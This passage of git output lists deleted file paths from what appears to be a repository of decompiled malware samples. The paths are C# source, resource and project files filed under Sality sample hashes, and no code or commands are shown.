MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AdMigLibResources.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMap.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMigrator.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustElementLocation.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustomizationHostServices.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/DisposableContainer.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/LocalResources.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MNUFileMigrator.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Properties/Settings.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.sln delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/Token2000130.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/ReportingService.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/Token200012D.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UnhandledException.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UploadReportLoginService.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.sln delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/Token2000129.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/Token200012A.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/Token200012B.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/Token200012C.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0004_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/Token200012E.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0005_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/Token200012F.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/Token2000131.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0006.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/Token2000133.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0001.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000E_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_000F_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0010_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0011_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0012_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0013_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0014_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0015_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0016_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0017_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0018_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0019_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001A_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001B_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0003.cs delete mode 100644 